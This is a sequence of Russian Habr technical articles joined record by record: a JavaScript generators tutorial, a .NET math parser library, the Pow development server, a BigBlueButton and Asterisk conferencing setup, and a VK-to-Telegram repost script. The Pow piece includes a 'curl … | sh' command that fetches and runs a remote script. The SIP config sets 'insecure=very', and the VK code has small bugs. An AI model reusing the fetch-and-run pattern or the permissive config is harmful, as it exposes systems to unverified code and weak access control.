Как можно видеть, нам пришлось сделать так, чтобы флаг done в какой-то момент стал положительным, иначе бы цикл был бесконечным.
Генераторы
----------
Следующим этапом эволюции итераторов стали генераторы. Они предоставляют синтаксический сахар, позволяющий возвращать значения итератора будто значение функции. Генератор — это функция (объявляется со звёздочкой: **function\***), возвращающая итератор. При этом итератор не возвращается явно, в функции лишь возвращаются значения итератора с помощью оператора **yield**. Когда функция заканчивает своё выполнение, итератор считается завершённым (результаты последующих вызовов метода next будут иметь флаг done равным true)
```
function* naturalRowGenerator() {
let current = 1;
while (current <= 3) {
yield current;
current++;
}
}
for (num of naturalRowGenerator()) {
console.log(num);
}
// Вывод: 1, 2, 3
```
Уже в этом простом примере невооружённым глазом виден главный нюанс генераторов: код внутри функции генератора **не выполняется синхронно**. Выполнение кода генератора происходит поэтапно, в результате вызовов next() у соответствующего итератора. Рассмотрим, как выполняется код генератора на прошлом примере. Специальным курсором будем отмечать, где остановилось выполнение генератора.
В момент вызова naturalRowGenerator создаётся итератор.
```
function* naturalRowGenerator() {
▷let current = 1;
while (current <= 3) {
yield current;
current++;
}
}
```
Далее, когда мы первые три раза вызываем метод next или, в нашем случае, проходим итерации цикла, курсор встаёт после оператора yield.
```
function* naturalRowGenerator() {
let current = 1;
while (current <= 3) {
yield current; ▷
current++;
}
}
```
И на все последующие вызовы next и после выхода из цикла генератор завершает своё выполнение и, результатами вызова next будет `{ value: undefined, done: true }`
Передача параметров в итератор
------------------------------
Представим, что в наш итератор натуральных чисел нужно добавить возможность сбрасывать текущий счётчик и начинать отчёт с начала.
```
naturalRowIterator.next() // 1
naturalRowIterator.next() // 2
naturalRowIterator.next(true) // 1
naturalRowIterator.next() // 2
```
Понятно как обработать такой параметр в самописном итераторе, но как быть с генераторами?
Оказывается, генераторы поддерживают передачу параметров!
```
function* naturalRowGenerator() {
let current = 1;
while (true) {
const reset = yield current;
if (reset) {
current = 1;
} else {
current++;
}
}
}
```
Переданный параметр становится доступен как результат оператора yield. Попробуем добавить ясности с помощью подхода с курсором. В момент создания итератора ничего не поменялось. Далее следует первый вызов метода next():
```
function* naturalRowGenerator() {
let current = 1;
while (true) {
const reset = ▷yield current;
if (reset) {
current = 1;
} else {
current++;
}
}
}
```
Курсор замер на моменте возврата из оператора yield. При следующем вызове next, переданное в функцию значение установит значение переменной reset. Куда же попадёт значение, переданное в самый первый вызов next, ведь там же ещё не было вызова yield? Никуда! Растворится в просторах garbage collector-а. Если нужно передать какое-то начальное значение в генератор, то это можно сделать с помощью аргументов самого генератора. Пример:
```
function* naturalRowGenerator(start = 1) {
let current = start;
while (true) {
const reset = yield current;
if (reset) {
current = start;
} else {
current++;
}
}
}
const iterator = naturalRowGenerator(10);
iterator.next() // 10
iterator.next() // 11
iterator.next(true) // 10
```
Заключение
----------
Мы рассмотрели концепцию итераторов и её реализацию в языке javascript. Также мы изучили генераторы — синтаксическую конструкцию для удобной реализации итераторов.
Хотя в данной статье я приводил примеры с числовыми последовательностями, итераторы в javascript позволяют решить намного больше задач. С помощью них можно представить любую последовательность данных и даже многие конечные автоматы. В следующей статье я хотел бы рассказать о том, как можно использовать генераторы для построения асинхронных процессов (coroutines, goroutines, csp и т. д.). | https://habr.com/ru/post/522864/ | null | ru | null |
# Парсер математических выражений
**Спасибо всем! Статья набрала необходимое число плюсов и автор к нам присоединяется! Вот и он: [elw00d](https://habrahabr.ru/users/elw00d/)**
Представляю вниманию товарищей-дотнетчиков библиотечку собственного написания, с помощью которой можно легко обращаться с несложными математическими функциями, переводя их из строковой формы инфиксной записи в обработанное представление, составленное в постфиксной нотации, и обратно. Для чего это может понадобиться?
К примеру, можно написать приложение, которое принимает ввод функции пользователем в виде строки, анализирует корректность синтаксиса, вычисляет его значение в указанных точках, оптимизирует введенное выражение, минимизируя количество операций, требуемых для вычисления, и может выдавать результат в виде строки, представляющей собой корректное строковое представление оптимизированной функции. В качестве конкретных применений можно отметить различные специализированные калькуляторы (в том числе, построенные наподобие программируемых), приложения, используемые для построения графиков или других отчетов, требующие задания начальных функций, или как оригинальное средство для построения защиты от спама / автоматических регистраций.
А началось все с того, что я увидел написанное каким-то суперпрограммистом приложение-пособие для лабораторной работы по численным методам оптимизации. Ввод исходной функции в ней был организован следующим оригинальным образом: пользователь (== студент) вводил функцию, а программа генерировала исходник и запускала лежащий рядом компилятор Delphi для получения DLL. Затем появившаяся DLL подгружалась в программу и по функции строился график. Немного посмеявшись над находчивостью разработчика, я подумал — а как было бы можно организовать аналогичный функционал без применения такого толстого “плагина”, как компилятор Delphi? В результате загорелся идеей написать свой парсер для таких задач. Вот что из этой идеи получилось.
На данный момент реализован и протестирован следующий функционал:
1. Анализ строк выражений, составленных из стандартных математических операторов +,-,/,\*, функций
sin, cos, скобок. Поддерживаются переменные с любыми именами, которые приемлемы для синтаксического
анализатора (состоят из букв и цифр, должны начинаться с буквы).
Примером такого выражения может быть строка
“**-4+5.5\*sin(1/3)\*(2+5)**”.
Для вычисления этого выражения необходимо написать код:
> `1. // Преобразуем исходную строку в скомпилированный вид
> 2. PreparedExpression preparedExpression = ToolsHelper.Parser.Parse("-4+5.5\*sin(1/3)\*(2+5)");
> 3. CompiledExpression compiledExpression = ToolsHelper.Compiler.Compile(preparedExpression);
> 4. // Создаем список переменных, который будет использован калькулятором при вычислении
> 5. // В данном примере он пуст, поскольку в исходном выражении нет переменных
> 6. List variables = new List();
> 7. // Получаем результат вычисления функции
> 8. double res = ToolsHelper.Calculator.Calculate(compiledExpression, variables);
> \* This source code was highlighted with Source Code Highlighter.`
2. Возможность быстро добавлять необходимые функции и операторы путем простого конфигурирования xml-конфига библиотеки. Поддерживаются функции с несколькими аргументами, например, можно определить собственную сигнатуру функции myfunc, принимающую 2 параметра. В выражении её можно будет вызвать так: “myfunc(12, x)”. Здесь x — переменная, её значение необходимо передать калькулятору при вычислении.
Также поддерживаются операторы с более чем двумя операндами (в качестве примера в библиотеке уже определен тернарный оператор? :, который выдает значение второго или третьего операнда, в зависимости от знака первого операнда.
Все операции (операторы и функции) характеризуются сигнатурой (символьным представлением, по которому ищутся вхождения в исходной строке), приоритетом, количеством операндов и классом-вычислителем, который будет использоваться для вычисления этой операции. Класс-вычислитель реализует интерфейс
> `1. public interface IOperationCalculator {
> 2. ///
> 3. /// Returns a result of operation called.
> 4. ///
> 5. double Calculate(params double[] parameters);
> 6. }
> 7. }
> \* This source code was highlighted with Source Code Highlighter.`
Таким образом, для того, чтобы добавить новый оператор или функцию, нужно определить для этой функции класс-вычислитель и добавить запись в Operations.xml вида
> `1. <operation name="sinus" operands="1" kind="function">
> 2. <signatures>
> 3. <signature number="1" value="sin" />
> 4. signatures>
> 5. <calculator type="ELW.Library.Math.Calculators.Standard.CalculatorSinus, ELW.Library.Math" />
> 6. operation>
> \* This source code was highlighted with Source Code Highlighter.`
При инициализации библиотека подгрузит типы, необходимые для обработки добавленной функции, и сопоставит этой операции экземпляр выбранного класса-вычислителя. При вычислении будет вызвана соответствующая функция Calculate() с переданными параметрами.
3. Возможность оптимизировать скомпилированное выражение за счет предвычисления констант. К примеру, выражение (3+5)/x можно привести к виду 8/x. Полученное выражение можно использовать в вычислениях вместо исходного, и даже вывести пользователю как слегка упрощенный вариант его функции. Алгоритм оптимизации можно улучшить, добавив новые возможности (если кто-нибудь, конечно, загорится такой идеей).
4. Возможность контролировать промежуточные этапы преобразования выражений. От строки к последовательности сигнатур и операндов, далее к обратной польской записи из операндов и операций, и обратно. Вообще возможные переходы отражены в следующей диаграмме:
String и Double – примитивные типы, с них начинается обработка выражений, ими же обычно и заканчивается.
Prepared Expression – состоит из набора элементов, каждый из которых представляет собой либо константу, либо имя переменной, либо разделитель, такой, как скобка или запятая, или строковую сигнатуру операции. К примеру, выражение (a+b)/3 будет представлять собой набор из ‘(‘, “a”, “+”, “b”, ‘)’, “/”, 3. Число 3 здесь уже не в строковой форме, а Double.
Compiled Expression – набор операндов и операций над ними в постфиксной нотации, то есть именно то, чем питается калькулятор. Представляет собой массив из операндов (либо константа, либо имя переменной) и операций (либо оператор, либо функция). Calculator, получая на вход это выражение, работает с ним по простому алгоритму, по очереди извлекая операнды и информацию об операциях и производя последовательные вычисления в стеке операндов.
5. Собирается как под .NET Framework 3.5, так и под .NET 2.0. Прилагаются nant скрипты для автоматизации
сборки, можно использовать совместно с Visual Studio.
Скриншот примера из библиотеки:
Эпилог.
Пока что возможности не слишком велики, однако достаточны для того, чтобы поиграться с изобретением собственных операторов, с изменением приоритета вычислений операторов, или для примитивной оптимизации математических выражений.
[Скачать исходники библиотеки + тестовое приложение](http://elwood.su/wp-content/uploads/mathcompiler-0102-src.zip)
Материалы для размышления:
[ru.wikipedia.org/wiki/Обратная\_польская\_запись](http://ru.wikipedia.org/wiki/Обратная_польская_запись)
[msdn.microsoft.com/ru-ru/library/ms139741.aspx](http://msdn.microsoft.com/ru-ru/library/ms139741.aspx) | https://habr.com/ru/post/50158/ | null | ru | null |
# Pow — легкий, быстрый, удобный
Как много у вас приложений, сайтов, систем на Ruby, запускаемых под Rails и другие frameworks? Как часто вам приходится лезть в терминал и запускать приложения через 'rails s' и другие консольные команды? Это трата времени, сложность в управлении (в плане организации проектов). Как было бы хорошо, если бы все проекты были бы в одном месте и запускались по одному клику…
Я хочу рассказать вам про [Pow](http://pow.cx/). С одной стороны это простой Rack сервер для запуска ваших проектов, с другой стороны это очень удобный инструмент. Сервер разработан компанией [37signals](http://37signals.com/). Единственная оговорка: сервер работает только под Mac OSX.
##### Как работает Pow?
Всё очень просто:
1. В терминале вводите команду:
```
curl get.pow.cx | sh
```
2. После установки заходите в папку Pow:
```
cd ~/.pow
```
. Эта папка является ссылкой на `~/Library/Application Support/Pow/Hosts`.
3. Делаете ссылку на ваш проект:
```
ln -s /path/to/myapp
```
4. В браузере набираете `myapp.dev`
Собственно и вся установка. Теперь для добавления проектов достаточно в папке `~/.pow` делать ссылки на ваши проекты. Все проекты запускаются с `http://[название проекта].dev`.
Сервер также имеет файл конфигурации `~/.powconfig`, который находится в домашнем каталоге. Для примера, можно указать таймаут в 5 минут для завершения запущенного проекта: `export POW_TIMEOUT=300`. Более подробно о конфигурации сервера можно почитать [здесь](http://pow.cx/docs/configuration.html#section-5).
##### В чем приемущества Pow?
* Не надо редактировать `/etc/hosts` для запуска проекта через доменное имя.
* Не требует обслуживания. Pow простой, автономный сервер, который работает без root привилегий.
* Для установки не надо компилирования или дополнительных гемов.
* полная поддержка rbenv и Bundler.
* На один проект можно делать несколько ссылок. Таким образом осуществляется поддержка субдоменов.
* Запуск проектов с разным набором гемов и версией Ruby.
##### Есть ли графическая оснастка?
Не могу обойти стороной замечательную программу для Pow: [Anvil for Mac](http://anvilformac.com/). Это удобное дополнение позволяет в 2 шага добавить новый проект к Pow.
##### Что может Anvil for Mac?
* Установка, Перезапуск, Удаление Pow.
* Запуск, остановку сервера Pow.
* Добавление, обновление, удаление ссылок на проекты.
Я бы даже рекомендовал сначала поставить Anvil for Mac, а затем из этой программы установить Pow.
##### UPD:
Хочу еще поделиться дополнительными инструментами по управлению сервером Pow.
Кроме упомянутого в комментарии [a\_vasyutin](https://habrahabr.ru/users/a_vasyutin/) [Powify](https://github.com/sethvargo/powify) также есть гем [Powder](https://github.com/Rodreegez/powder). Это более простой инструмент управления чем Powify, но также умеет устанавливать сервер Pow, прилинковывать проекты, просматривать логи и т. д. Более подробно по командам можно почитать здесь: <https://github.com/Rodreegez/powder#usage>.
Также есть веб-обертка для Powder — [Powser](https://github.com/phil-monroe/powser). Она позволяет перезапускать, делать редирект проекта прямо через браузер. После установки гема из папки проекта делаем ссылку на проект и запускаем Power:
```
powser start appname
```
Теперь, например, для перезапуска проекта достаточно в адресной строке браузера ввести: `powser.dev/restart` или `powser.dev/restart?app=appname`, где appname — любой прилинкованный проект. Более подробно про использование гема можно почитать здесь: <https://github.com/phil-monroe/powser#powder-for-your-browser>.
##### Дополнительные материалы
* [Официальный сайт Pow](http://pow.cx/)
* [Документация по Pow](http://pow.cx/manual.html)
* [Видео по использованию Pow](http://get.pow.cx/media/screencast.mov)
* [Официальный сайт Anvil for Mac](http://anvilformac.com/) | https://habr.com/ru/post/156819/ | null | ru | null |
# BigBlueButton: открытое решение организации конференций
[](https://habrastorage.org/storage/habraeffect/5e/44/5e446e8ba9ff6f8aa9e8fcaf1d84f95e.png "Хабрэффект.ру")
Почти уверен что перед каждым ИТ отделом ставилась задача организовать видеоконференцию, или просто конференцию, например с филиалом. Решений задачи много — от дорогих аппаратных до бесплатных софтовых. Хочу обратить внимание хабрсообщества на одно из бесплатных решений этой задачи — BigBlueButton. На хабре уже была небольшая заметка [о нем](http://habrahabr.ru/blogs/edu_2_0/87109/), я попытаюсь рассказать немного подробнее об этом решении, а так же о опыте его внедрения у нас в компании.
Сами [разработчики](http://www.bigbluebutton.org/) позиционируют его как решение для обучения и проведения презентаций, заявленный функционал ничуть не мешает нам использовать его для наших бизнес-целей. На главной странице проекта есть ссылка на демонстрацию решения. В первый раз наткнувшись на BigBlueButton в поисках решения организации конференции я пошел именно по этой ссылке, то что я там увидел впечатлило и казалось, полностью подойдет под наши нужды (впрочем, так и оказалось).
Приятным сюрпризом, также, оказалось что полностью функционирующая система доступна в виде образа VMWARE прямо на сайте разработчиков, там же находится и подробная [инструкция по установке](http://code.google.com/p/bigbluebutton/wiki/BigBlueButtonVM). Здесь стоит отметить, что указанный образ без проблем конвертировался и запустился под hyper-v.
Скачав и запустив образ мы практически сразу получаем решение «из коробки» (ip машина получает по dhcp). Уже в таком виде вполне можно пользоваться bbb, для этого нам понадобиться видеокамера и гарнитура. Демо конференции доступны если зайти браузером на адрес развернутого сервера.
После входа в конференцию открывается основное окно:
[](https://habrastorage.org/storage/habraeffect/22/bb/22bbc516428cc8ef3bd0466b7c3eaee2.jpg "Хабрэффект.ру")
В верхней левой части окна отображаются участники конференции. Тут стоит отметить что участники могут быть двух типов — обычный участник и модератор. Обычный участник может слушать и смотреть конференцию. Модератор может управлять микрофонами участников, а так же давать участникам право демонстрации. Участник обладающий правом демонстрации может размещать на панели демонстрации (панель по середине) различные материалы (например документ word или powerpoint) которые будут доступны для просмотра всем участникам конференции. Также участник конференции может смотреть изображение с камеры других участников, если другой участник ее включил.
В нижней левой части располагается окно так называемых «слушателей» — это участники конференции, попавшие в нее дозвонившись на телефонный номер конференции. Этот функционал весьма интересен и полезен (нам по крайней мере) и о на его настройке я остановлюсь немного подробнее позже.
В правой части расположен чат (да-да обычный чат), в который могут писать все участники конференции. При входе в конференцию в чат пишется приглашение, которое можно настроить при создании конференции.
Более подробно работа с интерфейсом bbb описана в документе, ссылку на который я приложил в конце заметки, это реальная инструкция участника используемая нами.
#### Теперь я хочу рассказать о том, что собственно мы изменили «под себя»
##### В первую очередь мы поменяли часть создания\входа в конференции.
Образ распространяется как демонстрационный и изначально имеется несколько шаблонов-примеров, для того чтобы понять каким образом создаются конференции. Шаблоны находятся здесь:
**`/var/lib/tomcat6/webapps/bigbluebutton/demo`**
Изучив их мы просто создали свой, теперь у нас при входе на сервер конференций примерно следующее:
[](https://habrastorage.org/storage/habraeffect/e3/db/e3db847d5acb51dff992cf7c9aa2f0d8.jpg "Хабрэффект.ру")
#### Второе, что хотелось реализовать — дозвон в конференцию с телефонов.
В BigBlueButton телефония (да и вообще весь голос) поддерживается встроенным Asterisk, соответственно нам придется как-то связать существующую сеть телефонии с bbb Asterisk. Все необходимые конфигурационные файлы Asterisk лежат в
**`/etc/asterisk/`**
Собственно, нам понадобится только два файла:
**`bbb_sip.conf
bbb_extensions.conf`**
Телефония у нас в компании организована посредством Cisco CallManager, связать его с Asterisk мы можем, например, SIP-транком. Для этого на стороне Asterisk мы меняем **bbb\_sip.conf** таким образом:
`[bbbuser]
type=friend
username=bbbuser
insecure=very
qualify=no
nat=yes
host=dynamic
canreinvite=no
context=bbb-voip
disallow=all
allow=ulaw
[TO_CCM]
disallow=all
type=friend
context=bigbluebutton
host=**172.31.0.2**
port=**5062**
allow=ulaw
allow=alaw
nat=no
canreinvite=no
qualify=no
dtmfmode=rfc2833`
где **172.31.0.2** — адрес нашего CCM, **5062** — транковый порт.
На стороне CCM также создается SIP-транк в сторону Asterisk, создается роут-паттерн с какого-нибудь внутреннего номера в этот транк, таким образом звонок на внутренний номер будет заворачиваться на Asterisk и в конференции.
На стороне Asterisk также был немного изменен файл **bbb\_extensions.conf**
В разделе
`[prompt]
exten => s,1,Read(CONF_NUM,conf-getconfno,**5**,,3,10)
exten => s,n,Goto(bbb-conference,${CONF_NUM},1)`
Необходимо прописать число символов в номере конференции, у нас 5.
Также мы поменяли раздел
`[bbb-conference]
include => echo-test
exten => _XXXX.,1,Agi(agi://localhost/findConference?conference=${EXTEN})
exten => _XXXX.,n,GotoIf($[${EXTEN} = ${CONFERENCE_FOUND}]?valid:invalid)
exten => _XXXX.,n(valid),Playback(conf-placeintoconf)
; exten => _XXXX.,n,MeetMe(${CONFERENCE_FOUND},cdMsT)
**exten => \_XXXX.,n,Set(CALLERID(name)= ${IF($["${CALLERID(name)}" = ""]?${CALLERID(num)}:${CALLERID(name)})})**
exten => _XXXX.,n,Konference(${CONFERENCE_FOUND},H)
exten => _XXXX.,n(invalid),Goto(handle-invalid-conference,s,1)`
Суть изменений такова: когда внешний абонент дозванивается и попадает в конференцию его CALLERNAME показывается в окне слушателей, но т.к. имя звонящего далеко не всегда передается конечной АТС в конечном итоге почти всегда в окне слушателей появляется «unknown caller», что само по себе логично, но мешает понять кто есть кто в слушающих, приведенное изменение служит для того, чтобы в случае отсутствия имени у звонящего выводился его определившийся номер телефона.
Что еще?
Платформа оказалась на удивление гибкой и дружественной к изменениям, в случае такой необходимости весь предоставляемый ею функционал можно встроить в корпоративный портал, можно автоматизировать заказ конференций, можно прикрутить еще что-нибудь к телефонии, да вообще много чего можно :)
Полезные ссылки:
[Сайт разработчиков](http://www.bigbluebutton.org/)
[Группа BBB в google](http://groups.google.com/group/bigbluebutton-users?hl=en)
Рабочая инструкция участника видеоконференции: [Скачать Инструкция\_участника\_видеоконференции\_хабр.docx с WebFile.RU](http://webfile.ru/5060726) | https://habr.com/ru/post/112066/ | null | ru | null |
# Телепортируем мемы в telegram, или как вернуть нажитое непосильным трудом
По разным причинам я уже как пару лет я не использовал ВК для связи с друзьями/коллегами - все ушли в telegram. Но в ВК все равно приходилось заходить, так как там осталось самое дорогое - группы с мемами, картиночками, анекдотами и всякое такое. Самому смотреть неудобно, друзьям - не отправить. Если интересно как я решил эту проблему за один вечер - добро пожаловать под кат .
КДПВИтак, для того, чтобы что-то откуда-то перенести (телепортировать) - нужно выполнить две вещи - это что-то откуда-то взять и потом это что-то куда-то положить.
**TL;DR** Я написал скрипт, который может собирать посты из ВК и загружать их в канал в телеграме. Если не интересны технические подробности, то можно сразу перейти к [установке.](#readyToUse)
Часть 1. Загрузка постов в систему
----------------------------------
В этой части все просто. Сначала напишем функцию для обращения к API:
```
async callMethod(method, params){
const uri = new URLSearchParams(params).toString()
return await axios.get(`https://api.vk.com/method/${method}?v=5.131&access_token=${this.token}&${uri}`)
}
```
Далее реализуем метод для получения численного id из строкового, при этом VK API поддерживает передачу сразу списка групп, поэтому нет смысла для каждого id вызывать метод, можно просто перечислить через запятую:
```
async getMemesGroupIds(){
const ids = await this.resolveIdByName(this.memesGroups.join(','))
return ids.map(val => val.id)
}
async resolveIdByName(name){
try {
const res = await this.callMethod('groups.getById', {
group_ids: name
})
if(res.error !== undefined){
console.error(res.error)
throw new Error('Error on resolveIdsByName')
}
return res.data.response
}catch (e) {
console.error('Error on resolveIdsByName', `https://api.vk.com/method/groups.getById?v=5.131&group_ids=${name}&access_token=${token}`)
}
}
```
Далее метод для получения записи каждого сообщества, тут тоже все крайне просто:
```
async getPosts(ownerId, offset){
try {
const data = await this.callMethod('wall.get', {
owner_id: ownerId,
count: 100,
offset: 0
})
if(data.error !== undefined){
throw new Error('Error on getPosts')
}else{
return data;
}
}catch (e) {
console.error('Error on getPosts')
}
}
```
Теперь немного о нюансах и логике работы. Метод [wall.get](https://dev.vk.com/method/wall.get) возвращает все посты, в том числе рекламные, репосты, опросы и так далее. Нам нужны записи, удовлетворяющие нескольким критериям. Во-первых - не реклама. Определять будем так: запись должна быть не репостом, у нее не должно быть поля источника, не должно быть пометки "реклама", она не должна содержать ссылок в формате URL (https://site.ru), запись не должна быть закрепленной и в формате Markdown ([Public|club123]). Во-вторых - по типу вложения: изначально я хотел получать себе только фотографии, видео и просто текст без вложений, но с версии [API 5.0](https://dev.vk.com/reference/objects/video) ВК не отдает ссылку на видео, а только на плеер, поэтому решил ограничится только фотографиями и текстом. В-третьих, записи должны быть опубликованы днем ранее, чтобы скрипт срабатывал ночью, а утром я мог посмотреть все, что было опубликовано вчера *(но получилось не совсем так, почему - читайте дальше)*. В итоге получилось три функции - первая возвращает день из timestamp, если он передан (для определения даты записи), если не передан - текущую дату. Вторая проверяет содержат ли вложения недопустимые типы - в целом, можно расширить на любое вложение, если добавить его в массив *allowedTypeAttachment* и написать обработчик. Третья - *postRules* проверяет все на удовлетворение всем трем условиям, ну и последняя по id группы возвращает все отфильтрованные посты
```
formattedDate(timestamp = 0){
if(timestamp === 0){
let a = new Date()
a.setDate(a.getDate() - 1)
return a.getMonth() + '/' + a.getDate()
}else{
let a = new Date(timestamp)
return a.getMonth() + '/' + a.getDate()
}
}
isAllowedAttachmentType(attachment){
const allowedTypeAttachment = ['photo']
if(attachment === undefined)
return true
return attachment.find(val => allowedTypeAttachment.includes(val.type)) !== undefined
}
postRules(postObject){
const text = postObject['text']
const isContainUrl = /((https?|ftp):\/\/?[^\s/$.?#].[^\s]*$)|\[.*?\|.*?\]/gm.test(text)
return postObject['marked_as_ads'] === 0 && // не реклама
this.formattedDate() === this.formattedDate(postObject.date * 1000) && // запись опубликовна вчера
this.isAllowedAttachmentType(postObject['attachments']) && // содержит только допустимые вложения
postObject['is_pinned'] !== 1 && // не закрепленная запись
postObject['copy_history'] === undefined && // не репост
!isContainUrl // не содержит ссылок
}
async getPostGroup(ownerId){
let post = await this.getPosts(ownerId)
return post.data.response.items
.filter(val => this.postRules(val))
}
```
Кстати, тут есть еще один нюанс, который возможно неочевиден - timestamp, который корректно обрабатывается в JS - это количество **мс**, прошедших с 1 января 1970. Timestamp, который возвращает ВК (и, кстати, telegram) - это количество **секунд**, прошедших с той же даты, поэтому и такая странная строчка - *postObject.date \* 1000.*
Теперь, когда есть отфильтрованные посты, можно применить немного магии. У каждого из них есть два поля - views и likes, которые, очевидно, отвечают за просмотры и лайки (ваш кэп). Если поделить их друг на друга, можно получить безразмерную величину, назовем ее views-like ratio - по ней можно определить, какие записи понравились пользователям больше. Дальше все просто - сортируем записи по VL ratio для каждой группы в отдельности, и берем процент от полученных постов (я поставил 80%):
```
async processSingleGroup(ownerId){
const countPostsPercent = 80 / 100;
const minPostsForCutting = Math.ceil(1/countPostsPercent) // минимальное число, при котором взятие процента вернет больше единицы
let items = []
const posts = await this.getPostGroup(ownerId)
posts.forEach(value => {
let res = {}
res.text = value.text
res.views = value.views.count
res.likes = value.likes.count
res.vlRatio = value.likes.count / value.views.count
res.date = new Date(value.date*1000)
res.owner = value.owner_id
const attObj = this.processAttachment(value['attachments'])
if(attObj !== undefined){
res = {...res, ...attObj}
}
items.push(res)
})
const sortedItems = items.sort((a, b) => {
return b.vlRatio - a.vlRatio; // сортируем по VL Ration
})
if(minPostsForCutting >= sortedItems.length){
return sortedItems // если постов меньше, чем процент - используем все
}else{
return sortedItems.slice(0, sortedItems.length*countPostsPercent)
}
```
Для обработки вложения я написал функцию, которая обрабатывает массив с фотографиями ([VK API](https://dev.vk.com/reference/objects/photo)). Объект вложений содержит несколько размеров фотографий ([описание](https://dev.vk.com/reference/objects/photo-sizes)), они либо обрезаны (метка размера - o, p, q, r), что нам не подходит, либо пропорциональные - s, m (не подходят, маленький размер), x, y, z, w - идеально походит z (наибольший пропорциональный размер), вроде как все просто, но потом оказалось, что его может и не быть (почему, нигде не написано), а х *пока* был всегда. В итоге полученная функция обработки вложений:
```
processAttachment(attachment) {
const attachmentObj = {
photo: [],
//video: [] // в будущем можно прикрутить и видео
}
if(attachment === undefined)
return attachment
attachment.forEach(att => {
switch(att.type) {
case 'photo':
// Берем самое большое изображение
let photo = att.photo.sizes.filter(sizeObject => sizeObject['type'] === 'z' || sizeObject['type'] === 'x').at(-1)
attachmentObj.photo.push(photo.url)
break;
case 'video':
// TODO: прикрутить видео
break
}
})
return attachmentObj
}
```
Дальше дело за малым - просто пройти по всем группам и собрать их посты в один большой массив, потом его перемешать, чтобы не записи не шли по порядку VL Ratio, и вроде бы все, но я их еще записываю в JSON файл, зачем - чуть дальше. Получается:
```
async processAll(){
let posts = []
const ids = await this.getMemesGroupIds()
for (const id of ids) {
const p = await this.processSingleGroup(`-${id}`)
posts = [...posts, ...p]
}
/* перемешиваем */
return posts.map(value => ({ value, sort: Math.random() }))
.sort((a, b) => a.sort - b.sort)
.map(({ value }) => value)
}
storePosts(posts){
const len = posts.length
const resultObject = {
length: len,
posts
}
fs.writeFile('posts.txt', JSON.stringify(resultObject), err => {
if (err) {
console.error(err);
}
console.log(`Stored ${len} posts`)
// file written successfully
});
}
```
В итоге, финальный класс получается таким:
Hidden text
```
import axios from "axios";
import fs from 'fs'
class Vk{
constructor(token, memesGroups) {
this.token = token
this.memesGroups = memesGroups
}
async callMethod(method, params){
const uri = new URLSearchParams(params).toString()
return await axios.get(`https://api.vk.com/method/${method}?v=5.131&access_token=${this.token}&${uri}`)
}
async getPosts(ownerId, offset = 0){
try {
const data = await this.callMethod('wall.get', {
owner_id: ownerId,
count: 100,
offset: 0
})
if(data.error !== undefined){
throw new Error('Error on getPosts')
}else{
return data;
}
}catch (e) {
console.error('Error on getPosts')
}
}
async resolveIdByName(name){
try {
const res = await this.callMethod('groups.getById', {
group_ids: name
})
if(res.error !== undefined){
console.error(res.error)
throw new Error('Error on resolveIdsByName')
}
return res.data.response
}catch (e) {
console.error('Error on resolveIdsByName', `https://api.vk.com/method/groups.getById?v=5.131&group_ids=${name}&access_token=${token}`)
}
}
async getMemesGroupIds(){
const ids = await this.resolveIdByName(this.memesGroups.join(','))
return ids.map(val => val.id)
}
formattedDate(timestamp = 0){
if(timestamp === 0){
let a = new Date()
a.setDate(a.getDate() - 1)
return a.getMonth() + '/' + a.getDate()
}else{
let a = new Date(timestamp)
return a.getMonth() + '/' + a.getDate()
}
}
isAllowedAttachmentType(attachment){
const allowedTypeAttachment = ['photo']
if(attachment === undefined)
return true
return attachment.find(val => allowedTypeAttachment.includes(val.type)) !== undefined
}
postRules(postObject){
const text = postObject['text']
const isContainUrl = /((https?|ftp):\/\/?[^\s/$.?#].[^\s]*$)|\[.*?\|.*?\]/gm.test(text)
return postObject['marked_as_ads'] === 0 &&
this.formattedDate() === this.formattedDate(postObject.date * 1000) &&
this.isAllowedAttachmentType(postObject['attachments']) &&
postObject['is_pinned'] !== 1 &&
postObject['copy_history'] === undefined &&
!isContainUrl
}
async getPostGroup(ownerI){
//let items = [];
let post = await this.getPosts(ownerId)
return post.data.response.items
.filter(val => this.postRules(val))
}
async processSingleGroup(ownerId){
const countPostsPercent = 80 / 100;
const minPostsForCutting = 80
let items = []
const posts = await this.getPostGroup(ownerId)
posts.forEach(value => {
let res = {}
res.text = value.text
res.views = value.views.count
res.likes = value.likes.count
res.vlRatio = value.likes.count / value.views.count
res.date = new Date(value.date*1000)
res.owner = value.owner_id
const attObj = this.processAttachment(value['attachments'])
if(attObj !== undefined){
res = {...res, ...attObj}
}
items.push(res)
})
const sortedItems = items.sort((a, b) => {
return b.vlRatio - a.vlRatio;
})
if(minPostsForCutting >= sortedItems.length){
return sortedItems
}else{
return sortedItems.slice(0, sortedItems.length*countPostsPercent)
}
}
processAttachment(attachment) {
const attachmentObj = {
photo: [],
//video: []
}
if(attachment === undefined)
return attachment
attachment.forEach(att => {
switch(att.type) {
case 'photo':
// Берем самое большое изображение
//console.log(att.photo.sizes.filter(sizeObject => sizeObject['type'] === 'z'))
let photo = att.photo.sizes.filter(sizeObject => sizeObject['type'] === 'z' || sizeObject['type'] === 'x').at(-1)
attachmentObj.photo.push(photo.url)
break;
case 'video':
// TODO: прикрутить видео
break
}
})
return attachmentObj
}
async processAll(){
let posts = []
const ids = await this.getMemesGroupIds()
for (const id of ids) {
const p = await this.processSingleGroup(`-${id}`)
posts = [...posts, ...p]
await this.sleep(50)
}
/* перемешиваем */
return posts.map(value => ({ value, sort: Math.random() }))
.sort((a, b) => a.sort - b.sort)
.map(({ value }) => value)
}
storePosts(posts){
const len = posts.length
const resultObject = {
length: len,
posts
}
fs.writeFile('posts.txt', JSON.stringify(resultObject), err => {
if (err) {
console.error(err);
}
console.log(`Stored ${len} posts`)
// file written successfully
});
}
sleep(ms){
return new Promise(r => setTimeout(r, ms));
}
}
export default Vk
```
Вызов:
```
const vk = new Vk(token, memesGroups)
const res = await vk.processAll()
vk.storePosts(res)
```
Часть 2. Постинг в telegram
---------------------------
